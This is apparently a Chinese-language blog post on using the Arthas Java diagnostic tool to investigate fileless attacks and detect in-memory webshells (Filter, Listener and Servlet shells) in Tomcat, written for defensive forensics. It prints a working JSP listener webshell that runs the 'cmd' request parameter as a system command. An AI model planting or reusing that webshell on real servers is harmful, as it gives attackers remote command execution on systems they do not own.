Arthas是阿里開源的一款java診斷的工具,主要基於Instrument進行動態代理,以及JVMTI來與JVM進行通信交互。在無文件攻擊的概念越來越火熱的情況下,紅軍也急需能夠與之對抗的方式,而arthas應該可以成為其中的首選方案
基本用法下載:https://github.com/alibaba/arthas/releases
使用:java -jar arthas-boot.jar
thread #列印線程 / 查看線程當前的堆棧
jad #反編譯class
sc #查看jvm已加載的類信息
sm #查看類的方法信息
redefine #加載外部的.class,redefine已加載的類
dump #已加載類的byte code到特定的目錄
classloader #查看classloader的繼承樹,urls,類的加載信息
tt #方法執行數據的時空隧道
stack #方法的調用棧
trace #方法的內部調用路徑
watch #方法執行的詳細過程查看
mbean #mbean信息
fastjson的攻擊很被動的成為了無文件攻擊的最佳案例,在waf、日誌中捕獲到的信息都很難還原出攻擊的詳情,尤其是當攻擊者的ldap服務已經停止的情況下,這個時候就可以使用classloader進行取證
classloader 按類加載類型查看統計信息
classloader -l 按類加載實例查看統計信息
classloader -t 查看ClassLoader的繼承樹
這次取證中需要用到的是classloader -a #列出所有ClassLoader加載的類
classloader -a 搜索FactoryURLClassLoader
結果如下:
hash:4b5a7560, java.net.FactoryURLClassLoader@4b5a7560
TouchFile
然後使用jad就可以獲取到攻擊的詳情了
sc、sm — 無源碼情況下的基本信息獲取sc和sm的使用方法基本一致
-E 使用正則進行匹配
-d 列印詳情
且類名和方法名都可以使用*作為通配符進行匹配
以哥斯拉的shell分析為例,可以通過sm顯示的方法基本判斷出shell中有什麼樣的功能
還可以通過關鍵詞搜索,來發現一些已經的惡意類的特徵,比如:payload / Evil等等
fastjson加載的惡意類有時候也可以通過這種方式進行搜索
stack、trace — 入侵檢測stack和trace的使用方法也基本一致,stack/trace 類名 方法名即可
當一類新的攻擊出現的時候,需要快速的通過rasp進行攻擊利用捕獲時就可以使用stack和trace來協助進行漏洞分析和規則添加
以payload為@com.sun.rowset.JdbcRowSetImpl為例
mbean — Filter shell檢測之前看過一篇《tomcat結合shiro無文件webshell的技術研究以及檢測方法》裡面是用jvisualvm來實現的,但是其實arthas也有這個功能
mbean 搜索j2eeType=Filter,然後mbean -m就可以列印出詳細的信息了
watch / tt — 內存shell的另一種檢測方式1、tt -t 類 方法 #是一種當不了解入參、返回、類屬性詳細情況下,進行快速分析的一種方法
2、watch 類 方法 關注的內容 條件 #當清楚的知道方法的詳細情況的時候,進行分析的方式
關注內容 -> params 參數 / returnObj 返回對象 / throwExp 異常/ target 類的屬性信息
條件 -> ognl的表達式,比如 params[0]<0
參數 ->
-x 代表展開層級,代表會列印出多少層的數組/hashmap等
-b 方法調用前,-e 方法異常後,-s 方法返回後,-f 方法結束後
以listenershell為例
<%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="org.apache.catalina.core.StandardContext" %><% Object obj = request.getServletContext(); java.lang.reflect.Field field = obj.getClass().getDeclaredField("context"); field.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) field.get(obj); field = applicationContext.getClass().getDeclaredField("context"); field.setAccessible(true); StandardContext standardContext = (StandardContext) field.get(applicationContext); ListenerDemo listenerdemo = new ListenerDemo(); standardContext.addApplicationEventListener(listenerdemo);%><%! public class ListenerDemo implements ServletRequestListener { public void requestDestroyed(ServletRequestEvent sre) { System.out.println("requestDestroyed"); } public void requestInitialized(ServletRequestEvent sre) { System.out.println("requestInitialized"); try{ String cmd = sre.getServletRequest().getParameter("cmd"); Runtime.getRuntime().exec(cmd); }catch (Exception e ){ } } }%>可以看到關鍵點在於
standardContext.addApplicationEventListener(listenerdemo);
首先通過tt -t 列印出standardContext類在一次url訪問的時候會觸發到的函數
這其中很明顯跟listener相關的就是getApplicationEventListeners函數
然後使用watch returnObj 就可以當前的listener的信息了
類似的其他類型的隱藏shell都可以獲取的到
Filter shell
ognl — shutdownhook
watch org.apache.catalina.core.StandardContext findFilterMaps returnObj
watch org.apache.catalina.core.StandardContext getServletContext target.filterDefs
Listener shell
watch org.apache.catalina.core.StandardContext getApplicationEventListeners returnObj
Servlet shell
watch org.apache.catalina.core.StandardContext findFilterMaps target.servletMappings
watch org.apache.catalina.core.ContainerBase findChildren returnObj
watch org.apache.catalina.core.StandardWrapper getServlet returnObjognl 『@java.lang.System@out.println(「hello ognl」)』 通過ognl做動態執行
ognl 『@類名@靜態屬性名』
ognl 『@類@靜態方法(「參數」)』
ognl 『#value1=@類@方法(「」),#value2=xxx(#value1),{#value1,#value2}』 變量賦值
ognl 『target.{name}』 可以取出來array中的每一個name欄位
ognl 『@Test@n.entrySet().iterator.{? #this.key.name() == 「RUN」}』 迭代器大致的使用方式就是這樣,實際的案例借用下長亭小哥《雜談Java內存Webshell的攻與防》中的案例
ognl 「@java.lang.ApplicationShutdownHooks@hooks.keySet().toArray().{getClass()}.{getName()}」
dump — 批量本地分析 / jad無法反編譯的情況下比如哥斯拉的shell,直接jad會失敗
不過dump功能有個缺陷,詳見https://github.com/alibaba/arthas/issues/763
這個時候可以使用https://github.com/hengyunabc/dumpclass進行dump,然後配合Fernflower 進行反編譯即可(jd-gui反編譯這個class會報錯)
參考文檔https://www.cnblogs.com/potatsoSec/p/13060261.html
https://zhuanlan.zhihu.com/p/227862004